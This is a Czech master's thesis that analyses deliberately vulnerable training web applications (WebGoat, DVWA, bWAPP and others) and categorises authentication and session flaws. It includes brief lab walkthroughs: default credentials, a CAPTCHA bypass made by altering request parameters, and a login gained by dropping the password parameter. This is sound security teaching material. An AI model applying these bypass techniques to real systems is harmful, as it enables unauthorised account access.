FAKULTA INFORMAČNÍCH TECHNOLOGIÍ ČVUT V PRAZE

ZADÁNÍ DIPLOMOVÉ PRÁCE

Název:	Zranitelná webová aplikace jako didaktická pomůcka
Student:	Bc. Tomáš Dvořáček
Vedoucí:	RNDr. Daniel Joščák, Ph.D.
Studijní program:	Informatika
Studijní obor:	Počítačová bezpečnost
Katedra:	Katedra počítačových systémů
Platnost zadání:	Do konce zimního semestru 2019/20

Pokyny pro vypracování

1) Proveďte rešerši stávajících zranitelných aplikací používaných jako didaktické pomůcky pro penetrační testery a vývojáře. Zaměřte se hlavně na aplikace v projektu OWASPBWA a Foundstone, vybrané po konzultaci s vedoucím práce. Uspořádejte a popište zranitelnosti v těchto didaktických pomůckách.
2) Zjistěte, které zranitelnosti se ve vybraných aplikacích z předchozího bodu nevyskytují. Popište, jak tyto zranitelnosti hledat a jak by bylo vhodné didaktické pomůcky doplnit, aby se jejich hledání dalo natrénovat.
3) Na základě předchozí analýzy implementujte vlastní didaktickou pomůcku, která bude obsahovat i nové zranitelnosti vybrané po konzultaci s vedoucím práce.
4) Vytvořte návod, jak tuto didaktickou pomůcku použít, aby mohla být využita při výuce v nové laboratoři Etického hackování na FIT.

Seznam odborné literatury

Dodá vedoucí práce.

prof. Ing. Pavel Tvrdík, CSc.
vedoucí katedry

doc. RNDr. Ing. Marcel Jiřina, Ph.D.
děkan

V Praze dne 16. května 2018

FAKULTA
INFORMAČNÍCH
TECHNOLOGIÍ
ČVUT V PRAZE

Diplomová práce

Zranitelná webová aplikace jako didaktická pomůcka

Bc. Tomáš Dvořáček

Katedra počítačových systémů
Vedoucí práce: RNDr. Daniel Joščák, Ph.D.

8. ledna 2019

Prohlášení

Prohlašuji, že jsem předloženou práci vypracoval(a) samostatně a že jsem uvedl(a) veškeré použité informační zdroje v souladu s Metodickým pokynem o etické přípravě vysokoškolských závěrečných prací.

Beru na vědomí, že se na moji práci vztahují práva a povinnosti vyplývající ze zákona č. 121/2000 Sb., autorského zákona, ve znění pozdějších předpisů. V souladu s ust. § 46 odst. 6 tohoto zákona tímto uděluji nevýhradní oprávnění (licenci) k užití této mojí práce, a to včetně všech počítačových programů, jež jsou její součástí či přílohou, a veškeré jejich dokumentace (dále souhrnně jen „Dílo"), a to všem osobám, které si přejí Dílo užít. Tyto osoby jsou oprávněny Dílo užít jakýmkoli způsobem, který nesnižuje hodnotu Díla, a za jakýmkoli účelem (včetně užití k výdělečným účelům). Toto oprávnění je časově, teritoriálně i množstevně neomezené. Každá osoba, která využije výše uvedenou licenci, se však zavazuje udělit ke každému dílu, které vznikne (byť jen zčásti) na základě Díla, úpravou Díla, spojením Díla s jiným dílem, zařazením Díla do díla souborného či zpracováním Díla (včetně překladu), licenci alespoň ve výše uvedeném rozsahu a zároveň zpřístupnit zdrojový kód takového díla alespoň srovnatelným způsobem a ve srovnatelném rozsahu, jako je zpřístupněn zdrojový kód Díla.

V Praze dne 8. ledna 2019 .....

Odkaz na tuto práci

Dvořáček, Tomáš. *Zranitelná webová aplikace jako didaktická pomůcka.* Diplomová práce. Praha: České vysoké učení technické v Praze, Fakulta informačních technologií, 2019.

Abstrakt

Webové aplikace mohou obsahovat rozličné zranitelnosti. Při výuce penetračních testerů a vývojářů lze využít jako didaktické pomůcky záměrně zranitelné aplikace. V práci jsme se zaměřili na analýzu vybraných existujících aplikací. Kategorizovali a popsali jsme v nich obsažené zranitelnosti a identifikovali zranitelnosti chybějící. Následně jsme implementovali vlastní sadu realistických zranitelných aplikací pomocí frameworku Django. Student se v nich chová nejen jako útočník, ale i jako oběť. Díky tomu může lépe porozumět jednotlivým zranitelnostem, jejich průběhu a dopadu. Námi vytvořená didaktická pomůcka navíc obsahuje i některé zranitelnosti, které v analyzovaných aplikacích chybí. Na závěr jsme vytvořili návod pro použití pomůcky při výuce.

Klíčová slova zranitelná webová aplikace, penetrační testování, didaktická pomůcka, zranitelnost, OWASP, Totally Secure aplikace, Django

Abstract

Web applications may contain various vulnerabilities. Deliberately vulnerable applications can be used as teaching aid for penetration testers and developers We focused on the analysis of selected existing applications. We categorized

and described the vulnerabilities contained within them and also identified missing vulnerabilities. We have implemented our own set of realistic vulnerable applications using the Django framework. The student behaves in them not only as an attacker, but also as a victim. This enables students to better understand the individual vulnerabilities, their course and impact. Our teaching aid also contains some of the vulnerabilities that are missing in the analyzed applications. Finally, we have created a tutorial for using this teaching aid.

Keywords Vulnerable web application, penetration testing, teaching aid, vulnerability, OWASP, Totally Secure applications, Django

Obsah

Seznam tabulek

Úvod

Webové aplikace mohou obsahovat rozličné zranitelnosti. Pomocí nich lze získat přístup k účtům uživatelů, k databázovému systému nebo k celému serveru. Závažnost těchto problémů je často podceňována, ačkoliv se jedná o značný problém. To potvrzuje i veřejná výroční zpráva Bezpečnostní informační služby za rok 2017. Ta v části věnované kybernetické bezpečnosti zmiňuje například i zranitelnost SQL injection v aplikaci blíže neurčeného ministerstva. [1]

Abychom minimalizovali výskyt zranitelností v produkční fázi, musíme vývojáře a penetrační testery s těmito problémy seznámit. Za tímto účelem v minulosti vzniklo velké množství trénovacích aplikací. V práci jsme se rozhodli omezit na projekt OWASP BWA [2] a HackMe od Foundstone, které dohromady obsahují přes čtyřicet aplikací.

Tyto aplikace jsou vytvořeny pomocí rozličných technologií, vznikly za různými účely a mají k problematice jiný přístup. Popsat všechny z nich je mimo rozsah této práce a jelikož neexistují oficiální statistiky popularity, rozhodli jsme se omezit na některé obecně uznávané a kladně hodnocené aplikace.

Cílem práce je vybrané aplikace prostudovat a porovnat, a zároveň kategorizovat a popsat v nich nalezené zranitelnosti. Na základě této analýzy pak připravit vlastní aplikaci, která bude obsahovat i zranitelnosti neimplementované v analyzovaných řešeních.

Kapitola 1

Analýza stávajících aplikací

Z projektu OWASP BWA jsme do analýzy zařadili výukové aplikace OWASP WebGoat [3], DVWA [4] a bWAPP [5]. Výběr jsme doplnili záměrně zranitelnými realistickými aplikacemi OWASP Vicnum [6] a WackoPicko [7]. Zároveň jsme do analýzy zařadili i některé aplikace, které se nachází v projektu Foundstone, konkrétně HackMe Bank a HackMe Casino. Všechny aplikace byly vybrány po konzultaci s vedoucím práce na základě jejich popularity a využitelnosti.

Tato kapitola obsahuje popis vybraných aplikací a stručný výčet jejich zranitelností. Následně jsou zranitelnosti rozděleny, popsány a jsou přiloženy jejich příklady. Na závěr je uvedeno vyhodnocení analyzovaných řešení a doplněné o chybějící zranitelnosti.

Na tomto místě je důležité uvést zásadní informaci. Existující aplikace používají pojem zranitelnost velmi volně. V některých případech pojednávají o zranitelnostech, ale správně by měly mluvit o útocích. Jelikož se kapitola zabývá popisem těchto aplikací, bude zde pojem zranitelnost využit stejně volně.

1.1 Trénovací aplikace

1.1.1 OWASP WebGoat

OWASP WebGoat je napsána v programovacím jazyce Java a využívá server Apache Tomcat. V projektu BWA je ve verzi aplikace 5.4. V současné době je ve vývoji verze 8, která přidává některé nové zranitelnosti, například nebezpečnou deserializaci. Aplikace je šířena pod licencí GPLv2. V každém bodě cvičení je uživateli sděleno, čeho je potřeba docílit. Pokud narazí v úkolu na problémy, může si zobrazit nápovědu, zdrojový kód nebo rovnou řešení cvičení. WebGoat ve vývojářské verzi umožňuje některé z daných zranitelností opravit.

1.1.2 DVWA

Aplikace DVWA je napsána v jazyce PHP a využívá MySQL. V OWASP BWA je nainstalována verze 1.8. DVWA je šířena pod licencí GNUv3 jako instalační balíček, pomocí CD nebo OWASP BWA. Seznam zranitelností je kratší než v případě OWASP WebGoat, ale aplikace obsahuje 3 úrovně obtížnosti. V této verzi je nejvyšší obtížnost považována za řešení, které je z bezpečnostního hlediska správné. Každá stránka obsahuje nápovědu a zdrojový kód. Řešení není součástí aplikace, ale je možné ho získat z volně přístupných zdrojů.

1.1.3 bWAPP

Aplikace je vytvořena pomocí jazyka PHP a využívá databázi MySQL. V projektu BWA je dostupná verze 1.9. Jedná se o aplikaci se zřejmě největším seznamem zranitelností. Kromě toho umožňuje tři úrovně nastavení obtížnosti. Některé zranitelnosti jsou zde ve více variantách a vzhledem ke třem úrovním obtížnosti dávají dostatečně velký prostor k jejich prozkoumání. V některých případech slouží zranitelnosti pro demonstraci, jak daný princip webových aplikací funguje. Aplikace je komplexní a obsahuje i některé méně časté zranitelnosti mezi trénovacími aplikacemi, jako je SSRF nebo XXE. Zároveň přidává i zranitelnosti nejen webových aplikací, například Heartbleed. bWAPP na rozdíl od WebGoat neobsahuje návod k řešení. Lze nalézt volně dostupné návody, které však nejsou kompletní.

1.2 Zranitelné realistické aplikace

1.2.1 OWASP Vicnum

OWASP Vicnum je vytvořen pomocí PHP a Perlu. Aplikace se skládá ze čtyř zranitelných miniher. Součástí OWASP BWA je starší verze aplikace, která obsahuje pouze tři hry. Projekt je šířen pod licencí Creative Commons Attribution-ShareAlike 3.0. Přiložený manuál obsahuje zmínky o zranitelnostech, ale nejsou zde místa jejich výskytu a řešení. V tabulkách 1.1 a 1.2 jsou zaznamenány všechny problémy, které jsme během testování aplikace našli.

1.2.2 WackoPicko

WackoPicko je stejně jako většina dříve zmíněných aplikací vytvořena pomocí programovacího jazyka PHP. Jako databáze slouží MySQL. Aplikace je šířena pod licencí MIT. Tato aplikace byla vytvořena v práci Why Johnny Can't Pentest [8], která srovnává automatické skenery zranitelností. Její zranitelnosti můžeme rozdělit do dvou skupin. První skupina je odhalitelná pro neautentizované uživatele, pro testování druhé skupiny zranitelností je potřeba se do aplikace přihlásit.

1.2.3 HackMe Bank

Na rozdíl od předchozích aplikací HackMe Bank využívá technologie od firmy Microsoft, konkrétně ASP.NET, Microsoft SQL server a IIS. V této práci jsme otestovali verzi 2.0, která byla vytvořena v roce 2006. Program je šířen pod licencí Apache 2.0. K aplikaci je dostupný návod obsahující všechny zranitelnosti a způsob jejich využití. Kvůli stáří projektu a akvizi firmy Foundstone firmou McAfee není dostupná domovská stránka. Stažení aplikace je nyní možné z neoficiálních zdrojů.

1.2.4 HackMe Casino

HackMe Casino je implementována v Ruby On Rails. K dispozici jsme měli verzi 1.0, která obsahuje pouze pět zranitelností. Aplikace je šířena pod licencí Apache 2.0 a lze ji instalovat na operační systém Windows. Stejně jako v HackMe Bank je dostupný návod pro instalaci a zneužití zranitelností.

1.3 Popis zranitelností

Zranitelnosti lze dělit do skupin či podskupin dle několika kritérií. Kategorizace a organizace, pro kterou jsme se rozhodli je založena na knize Web Application Hacker Handbook [12]. Tato kniha obsahuje komplexní informace o problematice bezpečnosti webových aplikací. Kromě rozčleněných problémů obsahuje i kapitoly zaměřené na technologie webových aplikací, automatizaci útoků a mnoho dalšího. Následný text obsahuje vždy popis kategorie a dále konkrétní zranitelnosti spolu s příklady z testovaných aplikací.

Některé výše zmíněné aplikace dělí zranitelnosti například dle projektu OWASP Top Ten [9]. Tento projekt má za cíl zveřejnit deset nejčastějších kategorií zranitelností webových aplikací současnosti. Poslední vydaný seznam v době psaní této práce byl vytvořen v roce 2017. Jelikož se seznam mění, a neobsahuje všechny kategorie zranitelností, není vhodnou volbou pro jejich úplné rozdělení. Druhou možností je rozdělení dle OWASP Testing Guide [10]. Tento projekt se zaměřuje na předání informací o tom, jak testovat přítomnost daných zranitelností.

1.3.1 Autentizace

Autentizace je proces, který má za cíl ověřit identitu uživatele. K autentizaci můžeme použít něco co víme, co máme nebo co jsme. Tedy například heslo, čipovou kartu nebo naši sítnici. V případě webových aplikací se používá [12, kap. 6]:

- HTTP autentizace – Pro uživatele se jeví jako vyplnění jména a hesla do vyskakovacího okna prohlížeče. Prohlížeč pak v případě verze HTTP basic odesílá řetězec `jméno:heslo`, zakódovaný pomocí base64. Pokud

útočník zachytí tuto zprávu, může heslo získat dekódováním. Řešením je použití TLS. Druhou variantou HTTP autentikace je digest. Ta využívá hashovací algoritmus MD5, takže heslo není pro útočníka tak jednoduché získat. Přesto by mu ale v případě zachycení zprávy stačilo tuto zprávu přeposlat a mohl by se za uživatele vydávat. Proto verze digest využívá tzv. nonce. V praxi se lze nejvíce setkat s HTTP basic autentizací kombinovanou s TLS. Příkladem použití je omezení přístupu na veřejně dostupný webový server s testovací verzí webové aplikace.

- Uživatelské SSL certifikáty – Při navazování SSL/TLS spojení je možné, aby klient předal serveru svůj certifikát. V praxi není tento způsob autentizace pro koncové uživatele rozšířen, a to hlavně kvůli náročnosti distribuce certifikátů. Jsou ale vhodnou volbou pro aplikace vyžadující vyšší stupeň zabezpečení.

- NTLM – Jedná se o autentizační protokol používaný hlavně v softwaru firmy Microsoft. Při testování webových aplikací se s ním můžeme setkat například při autentizaci na proxy serveru. V současné době se většinou používá NTLMv2.

- Autentizace pomocí HTML formuláře – Zřejmě nejrozšířenější formou autentizace u webových aplikací je zadání jména a hesla do HTML formuláře. Uživatel přistoupí na webovou stránku, vyplní do formuláře svoje přihlašovací údaje a formulář odešle. Uživatelské heslo se pak v případě použití metody GET nachází v URL. To pak může být zachyceno na proxy serveru nebo v přístupovém logu webového serveru. Heslo je také uloženo v historii prohlížeče. Při použití metody POST se heslo nachází v těle požadavku.

- Dvoufaktorová autentizace – Pro autentizaci uživatele je potřeba předat více údajů. Často se využívá dalších komunikačních kanálů pro odeslání jednorázového kódu s omezenou časovou platností. V minulosti se jako druhý kanál používala SMS. Obecně se další kanál používá u aplikací s důrazem na bezpečnost, typicky u internetového bankovnictví. S postupem času se ovšem začala využívat u většího množství aplikací, například i služeb prodávající počítačové hry. Dnes se mimo SMS používá také email. S příchodem chytrých mobilních zařízení, které mají připojení k internetu, se rozšířila možnost pro dvoufaktorovou autentizaci využít mobilní aplikace.

Důležitým prvkem při řešení autentizace je sledování aktivit, jejich zaznamenávání, analýza, možná reakce a notifikace uživatele. Mělo by docházet k zaznamenání každého pokusu o přihlášení, obnovu nebo změnu hesla. Kromě času a uživatelského jména by měl být zapsán i výsledek a také následek této akce, například blokace účtu. V záznamu by neměly chybět informace

o zařízení z kterého byla akce provedena, jako je IP adresa a použitý webový prohlížeč.

Uživatel by pak měl být schopen si zobrazit dané informace týkající se jeho účtu. Vhodným doplněním informovanosti je zobrazení notifikace po přihlášení. Ta uživateli sdělí, kdy se naposledy přihlásil a kolik od té doby proběhlo neúspěšných pokusů o přihlášení. V aplikacích jako je internetové bankovnictví, většinou neexistuje relevantní důvod pro souběžné přihlášení jednoho uživatele z více míst. Proto je vhodné tomuto chování zabránit, při novém přihlášení staré spojení přerušit a uživatele informovat. Pokud je naopak typické, že uživatel aplikaci používá z více zařízení najednou, měl by mít o všech spojeních přehled a zároveň možnost vybranou relaci ukončit.

Záznamy aplikací by měl sledovat jejich administrátor, nebo by měly být napojeny na centrální sledování, kde jsou analyzovány záznamy z různých bezpečnostních zařízení. Lze tak odhalit systematický útok a proaktivně jednat za účelem jeho eliminace. Nezávisle na vyhodnocení situace bezpečnostním týmem by měl být uživatel okamžitě informován o výše zmíněných aktivitách na jeho účtu pomocí jiného kanálu.

V následujících podkapitolách budeme předpokládat, že aplikace využívá autentizaci pomocí HTML formuláře.

1.3.1.1 Slabé heslo

V praxi se lze setkat s různými politikami nastavení hesel. Zřejmě nejčastěji musí heslo obsahovat alespoň jednu číslici, jedno malé a jedno velké písmeno. Přitom délka hesla musí být alespoň 8 znaků. Cílem těchto pravidel je zvětšení entropie hesla. Tu lze spočítat pomocí vzorce:

$$H = log_2(N) * L$$

Délka hesla je označena symbolem L a počet možných znaků na jedné pozici je označen symbolem N. Sílu hesla dle jeho entropie lze zjistit například na [11].

U kritických aplikací jsou požadavky vyšší, naopak u některých aplikací je možné vytvořit heslo o jednom znaku. V tomto případě ho lze snadno uhodnout. Nastavovaná hesla bychom měli kontrolovat na [10, kap. OTG-AUTHN-007]:

- Minimální délku – Vhodná minimální délka hesla je diskutabilní. S příliš nízkou hodnotou roste pravděpodobnost uhodnutí hesla. S vysokou hodnotou roste pravděpodobnost, že uživatel heslo zapomene, nebo si ho někam zapíše.
- Skupiny znaků – Pokud chceme zvýšit entropii hesla, je potřeba kromě jeho délky také zvětšit počet možných znaků. Proto by heslo mělo obsahovat alespoň jedno malé a velké písmeno, jednu číslici a alespoň jeden speciální znak.

- Maximální stáří hesla – Pokud útočník zjistil uživatelovo heslo, je vhodné omezit dobu, po kterou ho útočník může využít. Tento požadavek však není mezi uživateli oblíbený a u webových aplikací pro koncové zákazníky se běžně nevyskytuje.
- Předchozí použití –Pokud je uživatel nucen heslo měnit, neměl by mít možnost heslo změnit na některé, které použil v nedávné minulosti. Typicky se uchovává posledních pět hesel.
- Obsah hesla – Heslo by nemělo obsahovat uživatelské jméno nebo osobní informace uživatele. Zároveň by nemělo jít o běžné slovo nebo uhodnutelný sled kláves.
- Změnu hesla po prvním přihlášení – Pokud je heslo vytvořeno administrátorem při registraci, je vhodné donutit uživatele, aby si ho po prvním přihlášení změnil.

Kvalitu hesla můžeme otestovat velmi jednoduše při registraci nebo změně či obnovení hesla. Aplikace nám často sdělí požadovaný tvar hesla, který ale nemusí být vynucován.

Příklady zranitelností

Aplikace: bWAPP
Zranitelnost: Slabé heslo
URL: `/bWAPP/ba_weak_pwd.php`

Na stránce je možné vyzkoušet hádání přihlašovacích údajů. Problémem při řešení je unifikovaná odpověď po pokusu o přihlášení. Správné přihlašovací jméno je `test`. Dle úrovně obtížnosti má heslo hodnotu `test`, `test123` nebo `Test123`.

1.3.1.2 Chybějící ochrana proti útoku hrubou silou

Se slabým heslem úzce souvisí i to, kolikrát může útočník zkusit heslo uhodnout. U aplikace bez jakékoliv ochrany je možné heslo zkoušet neomezeně. Pokud je heslem slovo ze slovníku a pokud přičteme možnost útok paralelizovat, pak je pro útočníka získání hesla velmi snadné. Tomuto problému však lze zabránit. Jedním z typických řešení je účet po několika neúspěšných pokusech o přihlášení zablokovat na kratší časový úsek, často v řádu jednotek až desítek minut. Tomuto limitu se říká tzv. měkký limit. Mezní hodnota na počet špatných přihlášení je pak nejčastěji tři nebo pět. Otázkou ale zůstává, jak blokaci realizovat.

V praxi jsme se setkali s různými řešeními. Jedno z nich bylo vytvořit uživateli po přístupu na webovou stránku cookie a po třech neúspěšných pokusech danou cookie zablokovat. Pokud ovšem uživatel poslal další požadavek

bez této cookie, byla mu nastavena nová a mohl tak v pokusech o přihlášení pokračovat.

I v případě použití měkkého limitu je pro útočníka teoreticky možné pokračovat v útoku hrubou silou. Proto se v praxi nastavuje tzv. tvrdý limit, který účet zablokuje a uživatel je následně nucen své heslo obnovit. Většina běžných aplikací tento limit nenastavuje. Bezpečnostně kritické aplikace mohou použít tvrdý limit místo třetího měkkého limitu v řadě. V některých případech je pak aplikován rovnou tvrdý limit. Některé aplikace se snaží tuto metodu využít a po třetím zadání špatného hesla zobrazí uživateli informaci o tom, že je účet zablokován. Pokud jako čtvrtý pokus uživatel zadá správné heslo, je přihlášen. Proti útočníkovi, který má o systému minimální znalosti se může jednat o zdánlivě dostačující ochranu. Proti útočníkovi s určitou znalostí systému, například pokud má svůj vlastní účet, je tato metoda neúčinná.

Další možností, která může pomoci proti automatizovaným útokům je implementace CAPTCHA. Tu lze zobrazit okamžitě, nebo až po neúspěšném pokusu o přihlášení. Některé aplikace také po několika neúspěšných pokusech o přihlášení po uživateli kromě hesla vyžadují navíc i osobní informaci. Přínos této metody je poněkud diskutabilní, protože v případě cíleného útoku na daného uživatele může útočník tuto informaci zjistit. V případě necíleného útoku, u kterého útočník nějakým způsobem získal seznam uživatelů je přínos také nejistý. Útočník může místo zkoušení všech hesel pro jeden účet kontrolovat jedno heslo pro všechny účty. Než projde všechny účty, je možné že se čítač neúspěšných pokusů o přihlášení vynuluje. Tento způsob útoku je tak méně zachytitelný.

Pro automatizované testování je možné použít například nástroj Burp Suite Intruder [14]. Podrobnější informace o jeho použití jsou v kapitole 3.

Příklady zranitelností

Aplikace: DVWA
Zranitelnost: Útok hrubou silou
URL: `/dvwa/vulnerabilities/brute/`

Při jednoduché obtížnosti není použita žádná ochrana. Zároveň je nastaveno jednoduché heslo, které lze uhodnout i bez použití automatizace. Heslo je stejné jako uživatelské jméno a jeho hodnota je `user`.

Na střední obtížnost je zpožděna odpověď serveru, která automatizovaný útok zpomalí, ale stále bude úspěšný. Při změně na vysokou obtížnost dochází i ke kontrole CSRF tokenu, který je obsažen v odpovědi serveru. V případě automatizace je potřeba vytvořit pravidlo, které tento token extrahuje a přepošle s každým dalším požadavkem. Jak toto provést a jak vybrat soubor pro slovníkový útok je ukázáno v kapitole 3.

Aplikace: DVWA
Zranitelnost: Špatná kontrola CAPTCHA
URL: `/dvwa/vulnerabilities/captcha/`

Cílem cvičení je změnit heslo. Funkcionalitu ovšem chrání CAPTCHA. Pokud se pokusíme heslo změnit, dostaneme zprávu, že jsme nevyplnili správně CAPTCHU. V dotaze je parametr `step=1`. Jeho změnou na `step=2` tuto kontrolu obejdeme. V nastavení na střední obtížnost je potřeba odeslat jako parametr také `passed_captcha=true`.

1.3.1.3 Enumerace uživatelského jména

Krok předcházejí útoku hrubou silou je zjištění přihlašovacího jména. To lze provést několika způsoby. V této části se zaměříme na získání jména pro přihlášení přes webovou stránku jako neautorizovaný uživatel. Příčinou tohoto problému často bývá příliš informativní chybová hláška. Například pokud se uživatel snaží přihlásit, aplikace mu v případě špatně zadaných informací sdělí, zda daný uživatel neexistuje, nebo zda je pro daného uživatele nesprávně zadané heslo.

Další možností je využít formuláře pro obnovení hesla. Zde se objevuje informace o odeslaném emailu nebo špatně zadané emailové adrese. Emailová adresa se ovšem často používá i jako uživatelské jméno při přihlášení. Řešení je jednoduché, uživateli zobrazit obecnou chybu „Nesprávná kombinace uživatelského jména a hesla“ nebo „Pokud byla emailová adresa zadána správně, zpráva byla odeslána“.

Speciálním případem je útočníkovi známý formát uživatelského jména, například pořadové číslo vzniklé inkrementací. Útočník tak jména nemusí hledat. Také je možné udělat i některé odhady, například uživatel s nízkým pořadovým číslem může být administrátorský nebo testovací účet. Využívanou funkcionalitou pro získání informací je registrace uživatele. Pokud ji uživatel provádí sám a platí předpoklad, že přihlašovací jméno je v systému unikátní, musí být provedena kontrola, zda dané jméno již neexistuje a umožnit novému uživateli zvolit jiné. Za účelem maximalizace uživatelského pohodlí při registraci jsou vynechávána ochranná opatření. Vhodným řešením je implementace CAPTCHA.

Jednou z dalších možností získání uživatelského jména a hesla, se kterou jsme se v praxi setkali, je i dekompilace Flash [13] aplikace. Při jejím bližším zkoumání byly objeveny uložené testovací přihlašovací údaje. Řešení je v tomto případě jednoduché, a to při přechodu z testovacího prostředí do produkčního odstranit všechny údaje, které může útočník zjistit a zneužít. Je také vhodné pro ukládání hesel využít manažer hesel.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Informativní obnova hesla
URL: `/WebGoat/attack?Screen=64&menu=500`

V prvním kroku uživatel vybírá uživatelské jméno, pro které má dojít k obnově hesla. Pokud zadá neexistující jméno, zobrazí se mu chyba. Pokud zadá existující jméno, zobrazí se mu bezpečnostní otázka. Zároveň není nijak limitován počet pokusů na zadání jména.

1.3.1.4 Špatná manipulace s heslem

Tato část je věnována distribuci, zadávání, změně a obnově hesla. Životní cyklus hesla začíná jeho vytvořením. Uživatel si může heslo vytvořit sám, může mu být vygenerováno automaticky nebo může být vytvořeno administrátorem. V případě generování hesla administrátorem je heslo často jednoduché a predikovatelné. Prvotní heslo může být dokonce stejné pro všechny uživatele, nebo může obsahovat sekvenci či část informací z profilu uživatele. V takovém případě pak může být pro útočníka se znalostí tohoto formátu jednoduché úvodní heslo zjistit.

V každém stádiu životního cyklu hesla by mělo heslo odpovídat nastavené politice hesel. Zároveň by heslo mělo být unikátní a nepredikovatelné. V některých případech je pak úvodní heslo posláno uživateli pomocí jiného kanálu, nejčastěji pomocí emailu nebo SMS. Tyto zprávy je však možné zachytit a zjistit jejich obsah. Samotné heslo bychom nikdy neměli posílat uživateli nezabezpečeným kanálem. Zároveň bychom měli uživatel donutit, aby si po prvním přihlášení heslo změnil. Následuje výčet pravidel, které by aplikace měla obsahovat. [12, str. 199]

1. Měla by vyžadovat staré heslo a zadání nového hesla dvakrát
2. Nikdy by neměla sdělit uživateli staré heslo
3. Měla by měnit heslo pouze aktuálně přihlášenému uživateli. Nikdy by neměla spoléhat na vstup ovlivnitelný uživatelem, například v skrytém poli formuláře.
4. Formulář by měl mít CSRF token, aby útočník nemohl donutit oběť si heslo nevědomě změnit.
5. Pokud útočník získal přístup k aplikaci, například se uživatel zapomněl odhlásit, měla by obsahovat ochranu proti útoku hrubou silou. Při kontrole starého hesla je totiž uživateli sděleno, zda ho zadal špatně. Na stránku je možné přidat CAPTCHA nebo omezit počet pokusů a odhlásit uživatele v případě opakovaného špatného pokusu o změnu hesla.

6. Pro případ, že útočník zjistil uživatelovo heslo a je aktuálně přihlášen, měla by změna hesla uživatele odhlásit ze všech zařízení.

7. Každá změna hesla by měla být uživateli nahlášena pomocí dalšího kanálu, například emailu či SMS. Neměla by ovšem obsahovat nové ani staré heslo.

V případě obnovení hesla by měl uživatel zadat svoje přihlašovací jméno nebo email. Následně by aplikace nikdy neměla uživateli ukázat aktuálního heslo nebo ho posílat emailem. Zároveň by ani neměla dovolit okamžitě zadat heslo nové. Vhodnou možností je odeslání URL s parametrem `id`, který je náhodný, unikátní a dostatečně dlouhý, aby ho útočník neuhodl. Platnost parametru musí být časově omezená, například na několik desítek minut či jednotek hodin. Po užití dané URL by mělo dojít k jejímu zneplatnění, tedy měla by být pouze jednorázová.

Za účelem zvýšení bezpečnosti je pak mnohdy implementován mechanismus bezpečnostních otázek. Předpřipravené otázky se většinou ptají na informace, které je možné jednoduše zjistit, zvláště pro člověka blízkého oběti. Pravděpodobnost, že útočník zjistí odpověď na danou otázku roste pokud oběť používá sociální sítě. V případě, že si uživatel volí otázky sám, může bezpečnost ještě klesnout. Znalost odpovědi na bezpečnostní otázky by tak neměla být dána na stejnou úroveň jako znalost hesla. Pokud uživateli stačí odpovědět na jednu otázku, neměl by být schopen si ji vybrat. Když musí odpovědět na více otázek, měl by odpovídat na všechny najednou. Zároveň není vhodné používat nápovědy k heslům, protože si do nich uživatel může uložit heslo samotné.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Špatná obnova hesla
URL: `/WebGoat/attack?Screen=64&menu=500`

V prvním kroku uživatel vybírá uživatelské jméno. Pokud existuje, musí zadat oblíbenou barvu a množství odpovědí je tak omezené. Pro správné odpovědi, kterou je zelená, je ukázáno aktuální heslo.

Aplikace: OWASP WebGoat
Zranitelnost: Přenos hesla přes HTTP
URL: `/WebGoat/attack?Screen=67&menu=1300`

Heslo se přenáší jako parametr v POST požadavku přes HTTP. Úkolem je odposlechnout heslo na lokální síti a následně ho zadat do dalšího formuláře. Samotné odchycení můžeme simulovat pomocí programu Wireshark [15] na stejném zařízení. Po zadaní hesla `sniffy` můžeme přistoupit ke stránce pomocí

HTTPS. Následně provedeme odchycení a odpovíme na otázky, zda bylo heslo viditelné a pomocí jakého protokolu bylo přeneseno.

1.3.1.5 Chyby v kontrole přihlašovacích údajů

Na první pohled je kontrola přihlašovacích údajů jednoduchá. Může se ovšem stát, že programátor správně neošetří vstup, neuvědomí si všechny možné stavy a udělá logickou chybu, nebo spoléhá na to, že uživatel nemůže změnit určitou hodnotu.

Pravděpodobnost chyby roste v případě přihlášení ve více stupních, tedy při použití vícefaktorové autentizace. Pokud v aplikaci dojde k chybě, měla by skončit bezpečně. Neměla by útočníkovi poskytnout cennou informaci a neměla by ho přihlásit.

V případě vícefaktorové autentizace se v prvním kroku typicky ověří jméno a heslo. V dalším kroku se pak ověří nejčastěji jednorázový kód doručený přes jiný kanál. Mezi těmito kroky není možné spoléhat na skryté pole ve formuláři k předání uživatelského jména a hesla do dalšího kroku.

Možné řešení je vytvoření tokenu již po ověření hesla a po zkontrolování druhého faktoru nastavit atribut tokenu. Další možností je po ověření druhého faktoru vytvořit nový plnohodnotný token. Jako jedno z řešení předchozích problémů jsme uváděli použití CAPTCHA. Ta samotná může být také zranitelná, například žádaný text může někde skrytě uvést. Text také nemusí být generován náhodně, ale na základě některých údajů, které může útočník zjistit.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Neošetřená výjimka
URL: `/WebGoat/attack?Screen=39&menu=1000`

Uživatel se může přihlásit bez zadání hesla. Prvním krokem je zadání jména webgoat bez hesla a odeslání požadavku. V proxy pak útočník musí smazat parametr `password=` a neošetřená výjimka uživatele přihlásí.

1.3.2 Správa relací

Potom co jsme ověřili identitu uživatele při přihlášení, stojí před námi další problém. Potřebujeme uživatele ověřit i při každém dalším požadavku. HTTP protokol je bezestavový a tak je na aplikaci samotné, aby tento stav udržovala. Nejběžnějším způsobem pro zjišťování, od kterého uživatele dotaz přišel je použití relačního tokenu. Tento token pak uživatel odesílá s každým dalším požadavkem. Způsob, jak ho nastavit a přenést je nejčastěji pomocí cookie.

1.3.2.1 Předvídatelný token

Základním požadavkem na autentizační token je jeho nepředvídatelnost a unikátnost. Není vhodné do něj vkládat informace o uživateli jako je čas přihlášení, IP adresa nebo uživatelské jméno. Někdy je možné se setkat s aplikací, která tyto informace kóduje, typicky s využitím base64. Každý uživatel však může data jednoduše dekódovat. Další možností je aplikovat hashování. Tím budou informace pro uživatele skryty, ale útočník znalý procesu generace tokenu může být stále schopen připravit token dle potřeby. Dále není vhodné spoléhat na použití inkrementálního čítače nebo informací o klientovi.

Příklady zranitelností

Aplikace: OWASP WebGoat
Zranitelnost: Token generován na základě jména
URL: `WebGoat/attack?Screen=73&menu=1800`

